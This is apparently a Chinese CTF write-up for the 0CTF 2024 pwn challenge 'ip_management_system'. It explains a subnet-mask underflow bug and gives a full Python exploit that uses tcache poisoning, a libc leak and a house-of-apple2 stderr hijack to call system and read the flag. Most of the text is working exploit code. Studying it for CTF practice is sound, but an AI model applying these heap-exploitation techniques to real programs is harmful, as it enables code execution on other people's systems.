
pwn· 更新于 2025-03-14
0ctf_2024
0CTF 2024 PWN WP
ip_management_system
漏洞在 add/delete ip 时使用子网掩码,会把 start ip 后几位按照掩码清零,而且没有检查造成的向上溢出

所以先常规泄露 heap 地址,然后上溢修改 size,使 tcache 链入两个 chunk,再上溢修改 size,将上方的 chunk size 改大,free 后 malloc 即可造成堆重叠,最后修改 fd,实现任意地址分配。

实现任意分配

由于此时没有 libc,所以选择打 tcache 结构体,然后先 malloc 一个大于 0x500 的 chunk,然后将 tcache 中任一 size 的 chunk 指向他,将他 free 掉,再 malloc 回来即可 leak libc

同时因为程序没有 exit 等触发 io 流的函数,打 stdout 的话,由于任意读写只能一个 bit 一个 bit 的读写,也无法成功。因此选择打__malloc_assert 触发的 fflush(stderr),但实际好像是 fxprintf 触发的
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
链子用的是 house of apple2,值得一提的是,由于读写非常不方便,因此需要经可能缩减 payload 和读写次数,否则远程极易超时
然后将 top_chunk 改成奇怪的大小,malloc 就能触发__malloc_assert

#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.libc = ELF('./libc.so.6')
libc = gift.libc
if local_flag == "remote":
# 设置代理 (HTTP 代理转为 SOCKS5 模式)
proxy_host = "instance.penguin.0ops.sjtu.cn"
proxy_port = 18081
# 目标主机和端口
target_host = "7bw2ftmpycgv7k6m"
target_port = 1
# 设置 socket 代理
s = socks.socksocket()
s.set_proxy(socks.HTTP, proxy_host, proxy_port)
s.connect((target_host, target_port))
# 使用 pwntools 的包装功能
gift.io = remote.fromsocket(s)
# addr = ''
# host = addr.split(' ')
# gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
context.log_level = 'warn'
gift.debug = True
input_after_this = b'Choose an option:'
def h2ip(hex_ip):
if isinstance(hex_ip, int):
hex_ip = f"{hex_ip:08x}"
# 将十六进制按 2 位分隔为 4 段,每段转换为十进制
octets = [str(int(hex_ip[i : i + 2], 16)) for i in range(0, len(hex_ip), 2)]
# 用 "." 连接成 IPv4 地址
return ".".join(octets)
def ip2h(ipv4):
# 将 IPv4 地址按 "." 分割为 4 段
parts = ipv4.split(".")
# 每段转换为两位的十六进制字符串并拼接
hex_ip = ''.join(f'{int(part):02X}' for part in parts)
return int(hex_ip.lower(), 16)
def create_set(start, end):
sla(input_after_this, b'1')
sla(b'start ip', start)
sla(b'end ip', end)
def add_ip(*args):
sla(input_after_this, b'2')
if len(args) == 1:
sla(b'ip', args[0])
else:
sla(b'ip', f"{args[0]}-{args[1]}")
def dele_ip(*args):
sla(input_after_this, b'3')
if len(args) == 1:
sla(b'ip', args[0])
else:
sla(b'ip', f"{args[0]}-{args[1]}")
def querp_ip(ip):
sla(input_after_this, b'4')
sla(b'ip', ip)
ru(b'IP')
r = ru(b'set')
if b'not' in r:
return 0
return 1
def clear_ip():
sla(input_after_this, b'5')
def cal_size(size, mode=0, start=0):
size = start + (size - 1 << 3)
if mode:
return h2ip(size + 0b111)
return h2ip(size)
cmd = '''
directory /mnt/f/Documents/CTF/glibc/glibc-2.35
brva 0x152B
# create_set
brva 0x1999
brva 0x15B0
brva 0x183E
# add
brva 0x1896
# dele
# brva 0x1813
# brva 0x17C8
# dis 4
# dis 5
b _exit
b __malloc_assert
b _IO_switch_to_wget_mode
c
set $ip = $rebase(0x4050)
'''
# context.log_level = 'warn'
# create_set(h2ip(0x0), cal_size(0x8))
# clear_ip()
create_set(h2ip(0x0), cal_size(0x8))
clear_ip()
# create_set(h2ip(0x0), cal_size(0x508))
# clear_ip()
# create_set(h2ip(0x0), cal_size(0x78))
# clear_ip()
create_set(h2ip(0x0), cal_size(0x8))
ip_list = []
for i in range(0, 0x8 * 5):
ip_list.append(h2ip(i))
heap_leak = []
for i in ip_list:
heap_leak.append(str(querp_ip(i)))
heap_leak = ''.join(heap_leak[::-1])
heap_base = int(heap_leak, 2) << 12
# print(heap_leak)
log_heap_base_addr(heap_base)
clear_ip()
# create_set(h2ip(0x0), cal_size(0x508))
# ip_list = []
# for i in range(0, 0x8 * 6):
# ip_list.append(h2ip(i))
# libc_leak = []
# for i in ip_list:
# libc_leak.append(str(querp_ip(i)))
# libc_leak = ''.join(heap_leak[::-1])
# libc_base = int(heap_leak, 2)
# clear_ip()
'''
/20 -0x1FF
/
'''
s = h2ip(0xCFFF - 0xB8 - 3) # 0xCB87
create_set(s, cal_size(0x40, start=ip2h(s)))
add_ip(s + "/23")
s = h2ip(0xCFFF - 0x38 - 9) # 0xCB87
create_set(s, cal_size(0x40, start=ip2h(s)))
dele_ip(s + "/22")
create_set(s, cal_size(0x10, start=ip2h(s)))
clear_ip()
create_set(s, cal_size(0x48, start=ip2h(s)))
clear_ip()
s = "0.0.0.189"
create_set(s, cal_size(0x148, start=ip2h(s)))
dele_ip(s + "/25")
clear_ip()
s = h2ip(0)
create_set(s, cal_size(0x2E8, start=ip2h(s)))
change_addr = protect_ptr(heap_base + 0x3B0, heap_base + 0xB0)
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
print(change_byte)
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(0x880 + i))
else:
dele_ip(h2ip(0x880 + i))
s = "0.0.0.189"
for i in range(0x8):
create_set(s, cal_size(0x150 + i * 0x10, start=ip2h(s)))
dele_ip(s + "/25")
clear_ip()
create_set(s, cal_size(0x100, start=ip2h(s)))
clear_ip()
create_set(s, cal_size(0x508, start=ip2h(s)))
create_set(s, cal_size(0x208, start=ip2h(s)))
create_set(s, cal_size(0x48, start=ip2h(s)))
s = h2ip(0)
create_set(s, cal_size(0x48, start=ip2h(s)))
change_addr = heap_base + 0x12D0
change_addr = change_addr & 0xFFFF
change_byte = f"{change_addr:016b}"
change_byte = change_byte[::-1]
# print(change_byte)
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(0x0 + i))
else:
dele_ip(h2ip(0x0 + i))
# log_heap_base_addr(heap_base)
change_addr = heap_base + 0xC0
change_addr = change_addr & 0xFFF
change_byte = f"{change_addr:012b}"
change_byte = change_byte[::-1]
# print(change_byte)
# log_ex(f"len: {len(change_byte)}")
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(64 * 4 + i))
else:
dele_ip(h2ip(64 * 4 + i))
create_set(s, cal_size(0x58, start=ip2h(s)))
clear_ip()
s = h2ip(0)
create_set(s, cal_size(0x508, start=ip2h(s)))
ip_list = []
for i in range(0, 0x8 * 6):
ip_list.append(h2ip(i))
libc_leak = []
for i in ip_list:
libc_leak.append(str(querp_ip(i)))
libc_leak = ''.join(libc_leak[::-1])
libc_base = int(libc_leak, 2) - 0x21ACE0
set_current_libc_base_and_log(libc_base)
puts_got = libc_base + 0x21A098 - 8
stdout = libc_base + 0x21B680 + 0x100
stderr = libc_base + 0x21B680 + 0x20
create_set(s, cal_size(0x98, start=ip2h(s)))
change_addr = heap_base + 0x19E8 - 8
change_addr = change_addr & 0xFFFF
change_byte = f"{change_addr:016b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(0 + i))
else:
dele_ip(h2ip(0 + i))
change_addr = stderr
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(9 * 8 * 8 + i))
else:
dele_ip(h2ip(9 * 8 * 8 + i))
# change_addr = libc_base + 0x21b680 + 0x100 + 0x70
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# print(change_byte)
# for i in range(len(change_byte)):
# if change_byte[i] == '1':
# add_ip(h2ip(64 + i))
# else:
# dele_ip(h2ip(64 + i))
s = h2ip(0)
# sla(input_after_this, b'6')
create_set(s, cal_size(0x100, start=ip2h(s)))
# dele_ip(0, 0xD8 * 8)
change_addr = libc.sym.system
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(8 * 0x28 + i))
else:
dele_ip(h2ip(8 * 0x28 + i))
change_addr = stderr - 0x40
# change_addr = heap_base
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(8 * 0xA0 + i))
else:
dele_ip(h2ip(8 * 0xA0 + i))
change_addr = libc.sym._IO_wfile_jumps - 0x48 + 0x28
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(8 * 0xD8 + i))
else:
dele_ip(h2ip(8 * 0xD8 + i))
# change_addr = libc.sym._environ - 0x10
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# for i in range(len(change_byte)):
# if change_byte[i] == '1':
# add_ip(h2ip(8 * 0x88 + i))
# else:
# dele_ip(h2ip(8 * 0x88 + i))
change_addr = u64_ex(' sh')
launch_gdb(cmd)
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
if change_byte[i] == '1':
add_ip(h2ip(+i))
else:
dele_ip(h2ip(+i))
create_set(s, cal_size(0x70, start=ip2h(s)))
dele_ip(0, 0x8 * 8)
create_set(s, cal_size(0x500, start=ip2h(s)))
# change_addr = libc.sym.exit
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# for i in range(len(change_byte)):
# if change_byte[i] == '1':
# add_ip(h2ip(64 + i))
# else:
# dele_ip(h2ip(64 + i))
sl(b'cat /flag\x00')
sl(b'cat /flag\x00')
sl(b'cat /flag\x00')
ia()
最后非常感谢沪✌ZianTT,由于人在北京,和上海有着物理距离上的遥远,和靶机的交互一卡一卡的,导致远程一直超时,换了 vps 也是超时,最后优化了 exp,让沪✌跑脚本才打通了。
当然还得感谢圈爷,io 板子的神!!!


也是体验了一把前五的感觉
评论


